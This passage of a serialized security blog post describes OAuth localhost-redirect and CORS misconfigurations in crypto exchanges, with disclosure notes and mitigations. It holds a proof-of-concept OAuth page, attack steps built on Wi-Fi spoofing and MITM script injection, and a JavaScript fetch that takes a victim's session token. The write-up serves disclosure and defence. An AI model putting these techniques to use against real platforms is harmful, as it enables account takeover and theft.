:527},[100498],{"type":23,"tag":134,"props":100499,"children":100500},{"style":179},[100501],{"type":28,"value":524},{"type":23,"tag":134,"props":100503,"children":100504},{"class":136,"line":780},[100505],{"type":23,"tag":134,"props":100506,"children":100507},{"emptyLinePlaceholder":15},[100508],{"type":28,"value":865},{"type":23,"tag":134,"props":100510,"children":100511},{"class":136,"line":797},[100512,100516,100520,100524,100528,100532,100536,100540,100545],{"type":23,"tag":134,"props":100513,"children":100514},{"style":151},[100515],{"type":28,"value":70209},{"type":23,"tag":134,"props":100517,"children":100518},{"style":179},[100519],{"type":28,"value":70235},{"type":23,"tag":134,"props":100521,"children":100522},{"style":168},[100523],{"type":28,"value":257},{"type":23,"tag":134,"props":100525,"children":100526},{"style":264},[100527],{"type":28,"value":70244},{"type":23,"tag":134,"props":100529,"children":100530},{"style":179},[100531],{"type":28,"value":70249},{"type":23,"tag":134,"props":100533,"children":100534},{"style":264},[100535],{"type":28,"value":38710},{"type":23,"tag":134,"props":100537,"children":100538},{"style":179},[100539],{"type":28,"value":272},{"type":23,"tag":134,"props":100541,"children":100542},{"style":1461},[100543],{"type":28,"value":100544},"\"http://localhost:3000\"",{"type":23,"tag":134,"props":100546,"children":100547},{"style":179},[100548],{"type":28,"value":19189},{"type":23,"tag":134,"props":100550,"children":100551},{"class":136,"line":814},[100552,100556],{"type":23,"tag":134,"props":100553,"children":100554},{"style":264},[100555],{"type":28,"value":70266},{"type":23,"tag":134,"props":100557,"children":100558},{"style":179},[100559],{"type":28,"value":70271},{"type":23,"tag":134,"props":100561,"children":100562},{"class":136,"line":827},[100563],{"type":23,"tag":134,"props":100564,"children":100565},{"style":179},[100566],{"type":28,"value":533},{"type":23,"tag":134,"props":100568,"children":100569},{"class":136,"line":836},[100570],{"type":23,"tag":134,"props":100571,"children":100572},{"emptyLinePlaceholder":15},[100573],{"type":28,"value":865},{"type":23,"tag":134,"props":100575,"children":100576},{"class":136,"line":859},[100577,100581,100585,100589],{"type":23,"tag":134,"props":100578,"children":100579},{"style":151},[100580],{"type":28,"value":70293},{"type":23,"tag":134,"props":100582,"children":100583},{"style":151},[100584],{"type":28,"value":5664},{"type":23,"tag":134,"props":100586,"children":100587},{"style":264},[100588],{"type":28,"value":70302},{"type":23,"tag":134,"props":100590,"children":100591},{"style":179},[100592],{"type":28,"value":15206},{"type":23,"tag":134,"props":100594,"children":100595},{"class":136,"line":868},[100596,100600,100604,100608,100612],{"type":23,"tag":134,"props":100597,"children":100598},{"style":264},[100599],{"type":28,"value":70314},{"type":23,"tag":134,"props":100601,"children":100602},{"style":179},[100603],{"type":28,"value":70319},{"type":23,"tag":134,"props":100605,"children":100606},{"style":168},[100607],{"type":28,"value":257},{"type":23,"tag":134,"props":100609,"children":100610},{"style":205},[100611],{"type":28,"value":70328},{"type":23,"tag":134,"props":100613,"children":100614},{"style":179},[100615],{"type":28,"value":14272},{"type":23,"tag":134,"props":100617,"children":100618},{"class":136,"line":877},[100619,100623],{"type":23,"tag":134,"props":100620,"children":100621},{"style":264},[100622],{"type":28,"value":70340},{"type":23,"tag":134,"props":100624,"children":100625},{"style":179},[100626],{"type":28,"value":463},{"type":23,"tag":134,"props":100628,"children":100629},{"class":136,"line":946},[100630,100634,100638,100642],{"type":23,"tag":134,"props":100631,"children":100632},{"style":151},[100633],{"type":28,"value":70352},{"type":23,"tag":134,"props":100635,"children":100636},{"style":179},[100637],{"type":28,"value":272},{"type":23,"tag":134,"props":100639,"children":100640},{"style":1461},[100641],{"type":28,"value":70361},{"type":23,"tag":134,"props":100643,"children":100644},{"style":179},[100645],{"type":28,"value":14272},{"type":23,"tag":134,"props":100647,"children":100648},{"class":136,"line":954},[100649,100653,100657],{"type":23,"tag":134,"props":100650,"children":100651},{"style":179},[100652],{"type":28,"value":70373},{"type":23,"tag":134,"props":100654,"children":100655},{"style":264},[100656],{"type":28,"value":70378},{"type":23,"tag":134,"props":100658,"children":100659},{"style":179},[100660],{"type":28,"value":463},{"type":23,"tag":134,"props":100662,"children":100663},{"class":136,"line":984},[100664,100668],{"type":23,"tag":134,"props":100665,"children":100666},{"style":264},[100667],{"type":28,"value":70390},{"type":23,"tag":134,"props":100669,"children":100670},{"style":179},[100671],{"type":28,"value":463},{"type":23,"tag":134,"props":100673,"children":100674},{"class":136,"line":992},[100675,100679,100683,100688],{"type":23,"tag":134,"props":100676,"children":100677},{"style":264},[100678],{"type":28,"value":70467},{"type":23,"tag":134,"props":100680,"children":100681},{"style":179},[100682],{"type":28,"value":272},{"type":23,"tag":134,"props":100684,"children":100685},{"style":1461},[100686],{"type":28,"value":100687},"\"Test\"",{"type":23,"tag":134,"props":100689,"children":100690},{"style":179},[100691],{"type":28,"value":329},{"type":23,"tag":134,"props":100693,"children":100694},{"class":136,"line":1024},[100695,100699],{"type":23,"tag":134,"props":100696,"children":100697},{"style":264},[100698],{"type":28,"value":70533},{"type":23,"tag":134,"props":100700,"children":100701},{"style":179},[100702],{"type":28,"value":463},{"type":23,"tag":134,"props":100704,"children":100705},{"class":136,"line":1032},[100706,100711,100715],{"type":23,"tag":134,"props":100707,"children":100708},{"style":179},[100709],{"type":28,"value":100710},"                                src ",{"type":23,"tag":134,"props":100712,"children":100713},{"style":168},[100714],{"type":28,"value":257},{"type":23,"tag":134,"props":100716,"children":100717},{"style":1461},[100718],{"type":28,"value":100719}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":134,"props":100721,"children":100722},{"class":136,"line":1092},[100723,100728,100733,100737,100741],{"type":23,"tag":134,"props":100724,"children":100725},{"style":179},[100726],{"type":28,"value":100727},"                                attributes[",{"type":23,"tag":134,"props":100729,"children":100730},{"style":1461},[100731],{"type":28,"value":100732},"\"async\"",{"type":23,"tag":134,"props":100734,"children":100735},{"style":179},[100736],{"type":28,"value":8121},{"type":23,"tag":134,"props":100738,"children":100739},{"style":168},[100740],{"type":28,"value":257},{"type":23,"tag":134,"props":100742,"children":100743},{"style":1461},[100744],{"type":28,"value":100745}," \"\"\n",{"type":23,"tag":134,"props":100747,"children":100748},{"class":136,"line":8508},[100749,100753,100758,100762,100766],{"type":23,"tag":134,"props":100750,"children":100751},{"style":179},[100752],{"type":28,"value":100727},{"type":23,"tag":134,"props":100754,"children":100755},{"style":1461},[100756],{"type":28,"value":100757},"\"defer\"",{"type":23,"tag":134,"props":100759,"children":100760},{"style":179},[100761],{"type":28,"value":8121},{"type":23,"tag":134,"props":100763,"children":100764},{"style":168},[100765],{"type":28,"value":257},{"type":23,"tag":134,"props":100767,"children":100768},{"style":1461},[100769],{"type":28,"value":100745},{"type":23,"tag":134,"props":100771,"children":100772},{"class":136,"line":8526},[100773],{"type":23,"tag":134,"props":100774,"children":100775},{"style":179},[100776],{"type":28,"value":70558},{"type":23,"tag":134,"props":100778,"children":100779},{"class":136,"line":8571},[100780,100784],{"type":23,"tag":134,"props":100781,"children":100782},{"style":264},[100783],{"type":28,"value":70533},{"type":23,"tag":134,"props":100785,"children":100786},{"style":179},[100787],{"type":28,"value":463},{"type":23,"tag":134,"props":100789,"children":100790},{"class":136,"line":8677},[100791,100796],{"type":23,"tag":134,"props":100792,"children":100793},{"style":264},[100794],{"type":28,"value":100795},"                                unsafe",{"type":23,"tag":134,"props":100797,"children":100798},{"style":179},[100799],{"type":28,"value":463},{"type":23,"tag":134,"props":100801,"children":100802},{"class":136,"line":22988},[100803,100808],{"type":23,"tag":134,"props":100804,"children":100805},{"style":168},[100806],{"type":28,"value":100807},"                                    +",{"type":23,"tag":134,"props":100809,"children":100810},{"style":1461},[100811],{"type":28,"value":100812},"\"\"\"\n",{"type":23,"tag":134,"props":100814,"children":100815},{"class":136,"line":23023},[100816],{"type":23,"tag":134,"props":100817,"children":100818},{"style":1461},[100819],{"type":28,"value":100820},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":134,"props":100822,"children":100823},{"class":136,"line":23031},[100824],{"type":23,"tag":134,"props":100825,"children":100826},{"style":1461},[100827],{"type":28,"value":100828},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":134,"props":100830,"children":100831},{"class":136,"line":23039},[100832],{"type":23,"tag":134,"props":100833,"children":100834},{"style":1461},[100835],{"type":28,"value":533},{"type":23,"tag":134,"props":100837,"children":100838},{"class":136,"line":23048},[100839],{"type":23,"tag":134,"props":100840,"children":100841},{"emptyLinePlaceholder":15},[100842],{"type":28,"value":865},{"type":23,"tag":134,"props":100844,"children":100845},{"class":136,"line":23090},[100846],{"type":23,"tag":134,"props":100847,"children":100848},{"style":1461},[100849],{"type":28,"value":100850},"    window.onload = async function () {\n",{"type":23,"tag":134,"props":100852,"children":100853},{"class":136,"line":23123},[100854],{"type":23,"tag":134,"props":100855,"children":100856},{"style":1461},[100857],{"type":28,"value":100858},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":134,"props":100860,"children":100861},{"class":136,"line":23131},[100862],{"type":23,"tag":134,"props":100863,"children":100864},{"style":1461},[100865],{"type":28,"value":100866},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":134,"props":100868,"children":100869},{"class":136,"line":23139},[100870],{"type":23,"tag":134,"props":100871,"children":100872},{"style":1461},[100873],{"type":28,"value":100874},"      google.accounts.id.initialize({\n",{"type":23,"tag":134,"props":100876,"children":100877},{"class":136,"line":23148},[100878],{"type":23,"tag":134,"props":100879,"children":100880},{"style":1461},[100881],{"type":28,"value":100882},"        client_id: client_id,\n",{"type":23,"tag":134,"props":100884,"children":100885},{"class":136,"line":23224},[100886],{"type":23,"tag":134,"props":100887,"children":100888},{"style":1461},[100889],{"type":28,"value":100890},"        callback: handleCredentialResponse,\n",{"type":23,"tag":134,"props":100892,"children":100893},{"class":136,"line":23257},[100894],{"type":23,"tag":134,"props":100895,"children":100896},{"style":1461},[100897],{"type":28,"value":100898},"        auto_select: true\n",{"type":23,"tag":134,"props":100900,"children":100901},{"class":136,"line":23265},[100902],{"type":23,"tag":134,"props":100903,"children":100904},{"style":1461},[100905],{"type":28,"value":6754},{"type":23,"tag":134,"props":100907,"children":100908},{"class":136,"line":23273},[100909],{"type":23,"tag":134,"props":100910,"children":100911},{"emptyLinePlaceholder":15},[100912],{"type":28,"value":865},{"type":23,"tag":134,"props":100914,"children":100915},{"class":136,"line":23310},[100916],{"type":23,"tag":134,"props":100917,"children":100918},{"style":1461},[100919],{"type":28,"value":100920},"      google.accounts.id.renderButton(\n",{"type":23,"tag":134,"props":100922,"children":100923},{"class":136,"line":23323},[100924],{"type":23,"tag":134,"props":100925,"children":100926},{"style":1461},[100927],{"type":28,"value":100928},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":134,"props":100930,"children":100931},{"class":136,"line":23336},[100932],{"type":23,"tag":134,"props":100933,"children":100934},{"style":1461},[100935],{"type":28,"value":100936},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":134,"props":100938,"children":100939},{"class":136,"line":23349},[100940],{"type":23,"tag":134,"props":100941,"children":100942},{"style":1461},[100943],{"type":28,"value":6224},{"type":23,"tag":134,"props":100945,"children":100946},{"class":136,"line":23403},[100947],{"type":23,"tag":134,"props":100948,"children":100949},{"emptyLinePlaceholder":15},[100950],{"type":28,"value":865},{"type":23,"tag":134,"props":100952,"children":100953},{"class":136,"line":23412},[100954],{"type":23,"tag":134,"props":100955,"children":100956},{"style":1461},[100957],{"type":28,"value":100958},"      google.accounts.id.prompt();\n",{"type":23,"tag":134,"props":100960,"children":100961},{"class":136,"line":31776},[100962],{"type":23,"tag":134,"props":100963,"children":100964},{"style":1461},[100965],{"type":28,"value":38495},{"type":23,"tag":134,"props":100967,"children":100968},{"class":136,"line":31797},[100969,100974,100978,100983],{"type":23,"tag":134,"props":100970,"children":100971},{"style":1461},[100972],{"type":28,"value":100973},"                                    \"\"\"",{"type":23,"tag":134,"props":100975,"children":100976},{"style":179},[100977],{"type":28,"value":720},{"type":23,"tag":134,"props":100979,"children":100980},{"style":264},[100981],{"type":28,"value":100982},"trimIndent",{"type":23,"tag":134,"props":100984,"children":100985},{"style":179},[100986],{"type":28,"value":7194},{"type":23,"tag":134,"props":100988,"children":100989},{"class":136,"line":80463},[100990],{"type":23,"tag":134,"props":100991,"children":100992},{"style":179},[100993],{"type":28,"value":100994},"                                }\n",{"type":23,"tag":134,"props":100996,"children":100997},{"class":136,"line":80476},[100998],{"type":23,"tag":134,"props":100999,"children":101000},{"style":179},[101001],{"type":28,"value":70558},{"type":23,"tag":134,"props":101003,"children":101004},{"class":136,"line":80484},[101005],{"type":23,"tag":134,"props":101006,"children":101007},{"style":179},[101008],{"type":28,"value":70488},{"type":23,"tag":134,"props":101010,"children":101011},{"class":136,"line":80492},[101012,101016],{"type":23,"tag":134,"props":101013,"children":101014},{"style":264},[101015],{"type":28,"value":70496},{"type":23,"tag":134,"props":101017,"children":101018},{"style":179},[101019],{"type":28,"value":463},{"type":23,"tag":134,"props":101021,"children":101022},{"class":136,"line":80500},[101023,101027,101031,101035,101040],{"type":23,"tag":134,"props":101024,"children":101025},{"style":264},[101026],{"type":28,"value":70508},{"type":23,"tag":134,"props":101028,"children":101029},{"style":179},[101030],{"type":28,"value":9049},{"type":23,"tag":134,"props":101032,"children":101033},{"style":168},[101034],{"type":28,"value":1586},{"type":23,"tag":134,"props":101036,"children":101037},{"style":1461},[101038],{"type":28,"value":101039},"\"Login here:\"",{"type":23,"tag":134,"props":101041,"children":101042},{"style":179},[101043],{"type":28,"value":9059},{"type":23,"tag":134,"props":101045,"children":101046},{"class":136,"line":80540},[101047,101052],{"type":23,"tag":134,"props":101048,"children":101049},{"style":264},[101050],{"type":28,"value":101051},"                            div",{"type":23,"tag":134,"props":101053,"children":101054},{"style":179},[101055],{"type":28,"value":463},{"type":23,"tag":134,"props":101057,"children":101058},{"class":136,"line":80548},[101059,101064,101068],{"type":23,"tag":134,"props":101060,"children":101061},{"style":179},[101062],{"type":28,"value":101063},"                                id ",{"type":23,"tag":134,"props":101065,"children":101066},{"style":168},[101067],{"type":28,"value":257},{"type":23,"tag":134,"props":101069,"children":101070},{"style":1461},[101071],{"type":28,"value":101072}," \"g_id_signin\"\n",{"type":23,"tag":134,"props":101074,"children":101075},{"class":136,"line":87735},[101076],{"type":23,"tag":134,"props":101077,"children":101078},{"style":179},[101079],{"type":28,"value":70558},{"type":23,"tag":134,"props":101081,"children":101082},{"class":136,"line":87743},[101083],{"type":23,"tag":134,"props":101084,"children":101085},{"style":179},[101086],{"type":28,"value":70488},{"type":23,"tag":134,"props":101088,"children":101090},{"class":136,"line":101089},62,[101091],{"type":23,"tag":134,"props":101092,"children":101093},{"style":179},[101094],{"type":28,"value":70573},{"type":23,"tag":134,"props":101096,"children":101098},{"class":136,"line":101097},63,[101099],{"type":23,"tag":134,"props":101100,"children":101101},{"style":179},[101102],{"type":28,"value":70581},{"type":23,"tag":134,"props":101104,"children":101106},{"class":136,"line":101105},64,[101107],{"type":23,"tag":134,"props":101108,"children":101109},{"style":179},[101110],{"type":28,"value":58392},{"type":23,"tag":134,"props":101112,"children":101114},{"class":136,"line":101113},65,[101115,101119,101123,101127,101131,101135],{"type":23,"tag":134,"props":101116,"children":101117},{"style":179},[101118],{"type":28,"value":70596},{"type":23,"tag":134,"props":101120,"children":101121},{"style":264},[101122],{"type":28,"value":70601},{"type":23,"tag":134,"props":101124,"children":101125},{"style":179},[101126],{"type":28,"value":70606},{"type":23,"tag":134,"props":101128,"children":101129},{"style":168},[101130],{"type":28,"value":257},{"type":23,"tag":134,"props":101132,"children":101133},{"style":151},[101134],{"type":28,"value":11936},{"type":23,"tag":134,"props":101136,"children":101137},{"style":179},[101138],{"type":28,"value":329},{"type":23,"tag":134,"props":101140,"children":101142},{"class":136,"line":101141},66,[101143],{"type":23,"tag":134,"props":101144,"children":101145},{"style":179},[101146],{"type":28,"value":533},{"type":23,"tag":24,"props":101148,"children":101149},{},[101150],{"type":28,"value":101151},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":101153,"children":101154},{},[101155],{"type":28,"value":101156},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":9072,"props":101158,"children":101160},{"id":101159},"how-to-mitigate",[101161],{"type":28,"value":101162},"How to Mitigate",{"type":23,"tag":24,"props":101164,"children":101165},{},[101166],{"type":28,"value":101167},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":61,"props":101169,"children":101171},{"id":101170},"exploiting-cors",[101172],{"type":28,"value":101173},"Exploiting CORS",{"type":23,"tag":24,"props":101175,"children":101176},{},[101177],{"type":28,"value":101178},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":101180,"children":101181},{},[101182,101184,101190],{"type":28,"value":101183},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":92,"props":101185,"children":101187},{"className":101186},[],[101188],{"type":28,"value":101189},"http://",{"type":28,"value":101191}," schema for any subdomain:",{"type":23,"tag":87,"props":101193,"children":101197},{"className":101194,"code":101195,"language":101196,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[101198],{"type":23,"tag":92,"props":101199,"children":101200},{"__ignoreMap":7},[101201,101209,101217,101225],{"type":23,"tag":134,"props":101202,"children":101203},{"class":136,"line":137},[101204],{"type":23,"tag":134,"props":101205,"children":101206},{},[101207],{"type":28,"value":101208},"HTTP 200 OK\n",{"type":23,"tag":134,"props":101210,"children":101211},{"class":136,"line":147},[101212],{"type":23,"tag":134,"props":101213,"children":101214},{},[101215],{"type":28,"value":101216},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":134,"props":101218,"children":101219},{"class":136,"line":185},[101220],{"type":23,"tag":134,"props":101221,"children":101222},{},[101223],{"type":28,"value":101224},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":134,"props":101226,"children":101227},{"class":136,"line":221},[101228],{"type":23,"tag":134,"props":101229,"children":101230},{},[101231],{"type":28,"value":9783},{"type":23,"tag":9072,"props":101233,"children":101235},{"id":101234},"cors-misconfiguration-by-lack-of-tls",[101236],{"type":28,"value":101237},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":101239,"children":101240},{},[101241,101243,101249],{"type":28,"value":101242},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":92,"props":101244,"children":101246},{"className":101245},[],[101247],{"type":28,"value":101248},"exchange.com",{"type":28,"value":101250}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":101252,"children":101253},{},[101254],{"type":28,"value":101255},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":16158,"props":101257,"children":101258},{},[101259,101279],{"type":23,"tag":4894,"props":101260,"children":101261},{},[101262,101264,101269,101271,101277],{"type":28,"value":101263},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":92,"props":101265,"children":101267},{"className":101266},[],[101268],{"type":28,"value":101189},{"type":28,"value":101270}," --> ",{"type":23,"tag":92,"props":101272,"children":101274},{"className":101273},[],[101275],{"type":28,"value":101276},"https://",{"type":28,"value":101278}," requests, even if same-site",{"type":23,"tag":4894,"props":101280,"children":101281},{},[101282,101284],{"type":28,"value":101283},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":92,"props":101285,"children":101287},{"className":101286},[],[101288],{"type":28,"value":37263},{"type":23,"tag":9072,"props":101290,"children":101292},{"id":101291},"exploit-1",[101293],{"type":28,"value":99623},{"type":23,"tag":24,"props":101295,"children":101296},{},[101297],{"type":28,"value":101298},"To exploit it, we must follow some steps:",{"type":23,"tag":4890,"props":101300,"children":101301},{},[101302,101307,101312],{"type":23,"tag":4894,"props":101303,"children":101304},{},[101305],{"type":28,"value":101306},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":4894,"props":101308,"children":101309},{},[101310],{"type":28,"value":101311},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":4894,"props":101313,"children":101314},{},[101315,101317,101322],{"type":28,"value":101316},"Use ",{"type":23,"tag":92,"props":101318,"children":101320},{"className":101319},[],[101321],{"type":28,"value":37263},{"type":28,"value":101323}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":101325,"children":101326},{},[101327],{"type":28,"value":101328},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":101330,"children":101331},{},[101332,101334,101339],{"type":28,"value":101333},"Once the redirect to the ",{"type":23,"tag":92,"props":101335,"children":101337},{"className":101336},[],[101338],{"type":28,"value":101189},{"type":28,"value":101340}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":87,"props":101342,"children":101344},{"className":30858,"code":101343,"language":30860,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[101345],{"type":23,"tag":92,"props":101346,"children":101347},{"__ignoreMap":7},[101348,101371,101408,101425,101442,101449,101490],{"type":23,"tag":134,"props":101349,"children":101350},{"class":136,"line":137},[101351,101355,101359,101363,101367],{"type":23,"tag":134,"props":101352,"children":101353},{"style":179},[101354],{"type":28,"value":272},{"type":23,"tag":134,"props":101356,"children":101357},{"style":151},[101358],{"type":28,"value":35643},{"type":23,"tag":134,"props":101360,"children":101361},{"style":179},[101362],{"type":28,"value":39195},{"type":23,"tag":134,"props":101364,"children":101365},{"style":151},[101366],{"type":28,"value":14290},{"type":23,"tag":134,"props":101368,"children":101369},{"style":179},[101370],{"type":28,"value":463},{"type":23,"tag":134,"props":101372,"children":101373},{"class":136,"line":147},[101374,101378,101383,101387,101391,101395,101399,101404],{"type":23,"tag":134,"props":101375,"children":101376},{"style":151},[101377],{"type":28,"value":7314},{"type":23,"tag":134,"props":101379,"children":101380},{"style":162},[101381],{"type":28,"value":101382}," res",{"type":23,"tag":134,"props":101384,"children":101385},{"style":168},[101386],{"type":28,"value":171},{"type":23,"tag":134,"props":101388,"children":101389},{"style":189},[101390],{"type":28,"value":35709},{"type":23,"tag":134,"props":101392,"children":101393},{"style":264},[101394],{"type":28,"value":32425},{"type":23,"tag":134,"props":101396,"children":101397},{"style":179},[101398],{"type":28,"value":272},{"type":23,"tag":134,"props":101400,"children":101401},{"style":1461},[101402],{"type":28,"value":101403},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":134,"props":101405,"children":101406},{"style":179},[101407],{"type":28,"value":48387},{"type":23,"tag":134,"props":101409,"children":101410},{"class":136,"line":185},[101411,101416,101421],{"type":23,"tag":134,"props":101412,"children":101413},{"style":162},[101414],{"type":28,"value":101415},"    credentials:",{"type":23,"tag":134,"props":101417,"children":101418},{"style":1461},[101419],{"type":28,"value":101420}," 'include'",{"type":23,"tag":134,"props":101422,"children":101423},{"style":179},[101424],{"type":28,"value":687},{"type":23,"tag":134,"props":101426,"children":101427},{"class":136,"line":221},[101428,101433,101438],{"type":23,"tag":134,"props":101429,"children":101430},{"style":162},[101431],{"type":28,"value":101432},"    method:",{"type":23,"tag":134,"props":101434,"children":101435},{"style":1461},[101436],{"type":28,"value":101437}," 'POST'",{"type":23,"tag":134,"props":101439,"children":101440},{"style":179},[101441],{"type":28,"value":687},{"type":23,"tag":134,"props":101443,"children":101444},{"class":136,"line":332},[101445],{"type":23,"tag":134,"props":101446,"children":101447},{"style":179},[101448],{"type":28,"value":97706},{"type":23,"tag":134,"props":101450,"children":101451},{"class":136,"line":438},[101452,101457,101461,101466,101470,101474,101478,101482,101486],{"type":23,"tag":134,"props":101453,"children":101454},{"style":162},[101455],{"type":28,"value":101456},"  console",{"type":23,"tag":134,"props":101458,"children":101459},{"style":179},[101460],{"type":28,"value":720},{"type":23,"tag":134,"props":101462,"children":101463},{"style":264},[101464],{"type":28,"value":101465},"log",{"type":23,"tag":134,"props":101467,"children":101468},{"style":179},[101469],{"type":28,"value":272},{"type":23,"tag":134,"props":101471,"children":101472},{"style":189},[101473],{"type":28,"value":32412},{"type":23,"tag":134,"props":101475,"children":101476},{"style":162},[101477],{"type":28,"value":101382},{"type":23,"tag":134,"props":101479,"children":101480},{"style":179},[101481],{"type":28,"value":720},{"type":23,"tag":134,"props":101483,"children":101484},{"style":264},[101485],{"type":28,"value":33494},{"type":23,"tag":134,"props":101487,"children":101488},{"style":179},[101489],{"type":28,"value":14894},{"type":23,"tag":134,"props":101491,"children":101492},{"class":136,"line":466},[101493],{"type":23,"tag":134,"props":101494,"children":101495},{"style":179},[101496],{"type":28,"value":101497},"})();\n",{"type":23,"tag":24,"props":101499,"children":101500},{},[101501],{"type":28,"value":101502},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":9072,"props":101504,"children":101505},{"id":39832},[101506],{"type":28,"value":39835},{"type":23,"tag":24,"props":101508,"children":101509},{},[101510,101512,101517],{"type":28,"value":101511},"As mitigation, it is recommended to remove all ",{"type":23,"tag":92,"props":101513,"children":101515},{"className":101514},[],[101516],{"type":28,"value":101189},{"type":28,"value":101518}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":101520,"children":101521},{},[101522],{"type":28,"value":101523},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":61,"props":101525,"children":101526},{"id":28425},[101527],{"type":28,"value":18423},{"type":23,"tag":24,"props":101529,"children":101530},{},[101531],{"type":28,"value":101532},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":101534,"children":101535},{},[101536],{"type":28,"value":101537},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":2575,"props":101539,"children":101540},{},[101541],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":101543},[101544,101549,101554],{"id":99228,"depth":147,"text":99231,"children":101545},[101546,101547,101548],{"id":99239,"depth":185,"text":99242},{"id":99596,"depth":185,"text":99599},{"id":101159,"depth":185,"text":101162},{"id":101170,"depth":147,"text":101173,"children":101550},[101551,101552,101553],{"id":101234,"depth":185,"text":101237},{"id":101291,"depth":185,"text":99623},{"id":39832,"depth":185,"text":39835},{"id":28425,"depth":147,"text":18423},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":101559,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101560,"description":101561,"date":101562,"author":101563,"image":101564,"isFeatured":15,"onBlogPage":15,"tags":101566,"body":101569,"_type":2586,"_id":107341,"_source":2588,"_file":107342,"_stem":107343,"_extension":2591},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready 